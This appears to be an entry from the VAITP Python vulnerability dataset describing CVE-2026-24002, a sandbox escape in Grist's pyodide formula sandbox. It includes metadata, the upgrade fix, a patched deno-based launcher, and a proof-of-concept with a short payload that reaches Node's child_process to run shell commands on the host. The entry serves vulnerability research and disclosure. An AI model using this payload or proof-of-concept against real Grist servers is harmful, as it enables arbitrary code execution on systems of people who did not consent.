CVE-2026-24002
Insecure Grist pyodide sandbox allows for arbitrary code execution.
- CVSS 9.6
- CWE-74
- Design Defects
- Remote
Grist is spreadsheet software using Python as its formula language. Grist offers several methods for running those formulas in a sandbox, for cases where the user may be working with untrusted spreadsheets. One such method runs them in pyodide, but pyodide on node does not have a useful sandbox barrier. If a user of Grist sets `GRIST_SANDBOX_FLAVOR` to `pyodide` and opens a malicious document, that document could run arbitrary processes on the server hosting Grist. The problem has been addressed in Grist version 1.7.9 and up, by running pyodide under deno. As a workaround, a user can use the gvisor-based sandbox by setting `GRIST_SANDBOX_FLAVOR` to `gvisor`.
- CWE
- CWE-74
- CVSS base score
- 9.6
- Published
- 2026-01-22
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Interface
- Code defect classification
- Incorrect Algorithm
- Category
- Design Defects
- Subcategory
- Security Misconfigurations
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Grist
Solution
Upgrade Grist to version 1.7.9 or later.
Vulnerable code sample
import os
import subprocess
import sys
# This code is a conceptual representation of CVE-2026-24002.
# It simulates a Grist server configured to use the vulnerable 'pyodide' sandbox.
#
# To run this demonstration:
# 1. Make sure you have Node.js installed.
# 2. Set the environment variable: export GRIST_SANDBOX_FLAVOR="pyodide"
# 3. Run the script: python vulnerable_grist_server_poc.py
# 4. Check for a newly created file: ls /tmp/pwned_by_cve
def execute_in_secure_sandbox(formula_code):
"""Simulates a secure sandbox like 'gvisor' or the fixed 'deno' based pyodide."""
print("[SERVER] Attempting to execute formula in a SECURE sandbox...")
print("[SECURE SANDBOX] Execution blocked. Access to host system is denied.")
# In a real secure sandbox, this would either fail or run in an isolated environment.
def execute_in_vulnerable_pyodide_sandbox(formula_code):
"""
Simulates the vulnerable 'pyodide' sandbox environment as described in the CVE.
The Grist server would run a Node.js process to host the Pyodide environment.
Crucially, this Node.js process was not properly sandboxed and had access
to Node.js's powerful APIs like 'child_process'.
"""
print("\n[SERVER] WARNING: Using vulnerable 'pyodide' sandbox flavor.")
print(f"[SERVER] Received formula to execute: {formula_code}")
# A malicious formula would use Pyodide's ability to interact with JavaScript
# to access and use Node.js's `require`. This allows importing `child_process`.
# For this PoC, we extract the intended shell command from the formula
# to construct the Node.js payload that Grist would have been tricked into running.
try:
# A simple parser to get the shell command from the Python/JS interop call.
command_to_run = formula_code.split("execSync('")[1].split("')")[0]
except IndexError:
print("[SERVER] PoC could not parse the command from the formula.")
return
print(f"[SERVER] The malicious formula intends to execute the host command: '{command_to_run}'")
print("[SERVER] Spawning a Node.js process to run the 'sandbox'...")
# This is the core of the vulnerability. The Python server shells out to an
# unsandboxed Node.js process, which can then be controlled by the user's formula.
node_script_payload = f"""
console.log('[NODE SANDBOX] Process started. Evaluating user code...');
try {{
// The malicious formula gains access to Node's 'require'.
const {{ execSync }} = require('child_process');
console.log('[NODE SANDBOX] Vulnerability success! `child_process` module was imported.');
// The command extracted from the user's formula is executed.
console.log('[NODE SANDBOX] Executing command on the host system:', '{command_to_run}');
execSync('{command_to_run}');
console.log('[NODE SANDBOX] Command executed successfully.');
}} catch (error) {{
console.error('[NODE SANDBOX] An error occurred:', error.message);
// Even if it errors, the import attempt proves the vulnerability.
}}
"""
try:
subprocess.run(
["node", "-e", node_script_payload],
check=True,
capture_output=True,
text=True
)
print("[SERVER] Node.js sandbox process finished.")
print(f"[SERVER] Vulnerability exploited. Check if the command '{command_to_run}' was executed on the host.")
except FileNotFoundError:
print("\n[ERROR] Node.js not found. Please install Node.js to run this PoC.", file=sys.stderr)
except subprocess.CalledProcessError as e:
print("\n[ERROR] The Node.js process failed.", file=sys.stderr)
print(e.stderr, file=sys.stderr)
if __name__ == "__main__":
# This simulates a malicious document being opened. The formula contains the payload.
# The payload is Python code that uses Pyodide's FFI (Foreign Function Interface)
# to get a proxy to JavaScript's `require`, then imports `child_process` and
# calls `execSync` to run an arbitrary shell command.
malicious_formula = "__import__('pyodide').ffi.create_proxy(require('child_process')).execSync('touch /tmp/pwned_by_cve')"
# Grist server checks this environment variable to decide which sandbox to use.
sandbox_flavor = os.environ.get("GRIST_SANDBOX_FLAVOR")
print("--- Grist Server Vulnerability Demonstration (CVE-2026-24002) ---")
if sandbox_flavor == "pyodide":
# This branch simulates the vulnerable configuration.
execute_in_vulnerable_pyodide_sandbox(malicious_formula)
else:
# This branch simulates a safe configuration (e.g., 'gvisor' or the patched Grist).
print(f"\n[SERVER] Secure sandbox flavor '{sandbox_flavor or 'default'}' is configured.")
execute_in_secure_sandbox(malicious_formula)
print("\n--- Demonstration Finished ---")Patched code sample
import subprocess
def get_secure_pyodide_command(worker_script_path, allowed_dir):
"""
Constructs the command to run the Pyodide sandbox using the 'deno' runtime,
demonstrating the fix for CVE-2026-24002.
The vulnerability was caused by running the Pyodide worker with 'node', which
lacked a sufficient sandbox barrier, potentially allowing arbitrary code
execution.
The fix is to switch the runtime from 'node' to 'deno' and leverage its
secure-by-default permission model. This function builds the command-line
arguments for this secure execution.
Args:
worker_script_path (str): The absolute path to the pyodide_worker.js script.
allowed_dir (str): A directory path that the sandboxed process is
explicitly permitted to read from and write to.
Returns:
list: A list of arguments to be used with subprocess.Popen to launch
the sandboxed process securely.
"""
# The fix is to use 'deno' instead of 'node' and apply a strict
# set of permissions.
command = [
"deno",
"run",
# --allow-none: This is the core of the security fix. It revokes all
# permissions by default. The script cannot access the filesystem, network,
# environment variables, or spawn sub-processes unless explicitly
# granted by other flags.
"--allow-none",
# --no-prompt: Ensures the process exits if it attempts an operation
# for which it does not have permission, rather than prompting the user.
"--no-prompt",
# --allow-read: Explicitly grant read access ONLY to the necessary
# directory. This prevents the script from reading arbitrary files
# on the server, such as /etc/passwd.
f"--allow-read={allowed_dir}",
# --allow-write: Explicitly grant write access ONLY to the same
# directory. This prevents the script from writing to arbitrary
# locations on the server.
f"--allow-write={allowed_dir}",
# The path to the worker script to be executed within the Deno sandbox.
worker_script_path,
]
return command
# Example of how the Grist backend would use the function to start the sandbox.
# Note: This is for demonstration; a real implementation would have error handling
# and process management.
def start_fixed_sandbox_process():
# In a real Grist instance, these paths would be determined by the
# application's configuration.
PYODIDE_WORKER_SCRIPT = "/opt/grist/pyodide_worker.js"
SANDBOX_TEMP_DIR = "/tmp/grist_sandbox_12345"
# 1. Generate the secure command.
secure_command = get_secure_pyodide_command(
PYODIDE_WORKER_SCRIPT,
SANDBOX_TEMP_DIR
)
print(f"Demonstration of the fix:")
print(f"Previous vulnerable command might have been: ['node', '{PYODIDE_WORKER_SCRIPT}']")
print(f"Fixed secure command is: {' '.join(secure_command)}")
# 2. The application would then use this command to launch the subprocess.
# (The following line is a placeholder and will not execute without 'deno'
# and the specified file paths being present on the system).
#
# process = subprocess.Popen(secure_command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
#
# From here, the application would communicate with the sandboxed process.
if __name__ == "__main__":
start_fixed_sandbox_process()Payload
import js
child_process = js.require('child_process')
child_process.execSync('touch /tmp/pwned')
Cite this entry
@misc{vaitp:cve202624002,
title = {{Insecure Grist pyodide sandbox allows for arbitrary code execution.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-24002},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-24002/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
